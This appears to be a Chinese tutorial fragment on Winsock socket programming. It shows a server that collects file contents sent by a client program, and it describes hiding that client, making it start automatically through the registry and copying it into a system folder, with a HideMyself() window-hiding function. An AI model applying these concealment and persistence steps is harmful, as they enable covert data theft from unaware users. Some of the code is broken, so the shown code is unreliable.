第一步 包含头文件及网络库
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
第二步 定义一个错误函数,因为我们总是要打印错误代码,所以统一写成函数
void errorhanding(const char* msg)
{
fputs(msg, stderr); /stderr表示错误码
fputc('\n', stderr);
system("pause");
exit(1);
}
第一行会输出msg,第二行会输出换行,exit(1)表示异常退出,和return 0差不多
第三步 初始化套接字,代码省略
第四步 建立套接字socket
SOCKET servsock =socket(PF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET== servsock)
{
errorhanding("servsock error");
}
第五步 绑定、监听、代码省略
第六步 接发数据
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR_IN);
int strlen{}; char MSG[MAX_SIZE]{0};
SOCKET cliesock;
for (int i=0;i<1000;i++)
{
cliesock = accept(servsock, (SOCKADDR*)&addrCli, &len);
if (SOCKET_ERROR == cliesock)
{
errorhanding("accept error");
}
memset(MSG, 0, MAX_SIZE);
while ((strlen=recv(cliesock,MSG,MAX_SIZE,0))!=0)
{
printf("Server msg=%s\n", MSG);
}
closesocket(cliesock);
}
最后运行结果就是把客户端的文件内容发送给了服务端
特别注意*;如果只是运行客户端,不运行服务器,就会报10061的错误,要先开服务器代码,后开客户端代码
高阶知识
1.将客户端代码添加到启动项
太复杂了
2.将客户端代码隐藏
这里也不建议在VS运行,因为运行后,exe文件会隐藏运行,非常不好清除,另外我尝试了很多次,当把程序写入注册表后,因为程序有行检测是否重复写入的代码,所以我试了第一次后,向试第二次,就要把程序删除后,再运行,删除它在系统文件夹C:\Windows\SysWOW64下面的文件时,然后再运行,就会报错,这里试了很多次,浪费了很多时间,这两部分代码非必要不用运行
void HideMyself() /隐藏自身代码
{
/拿到当前窗口句柄
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}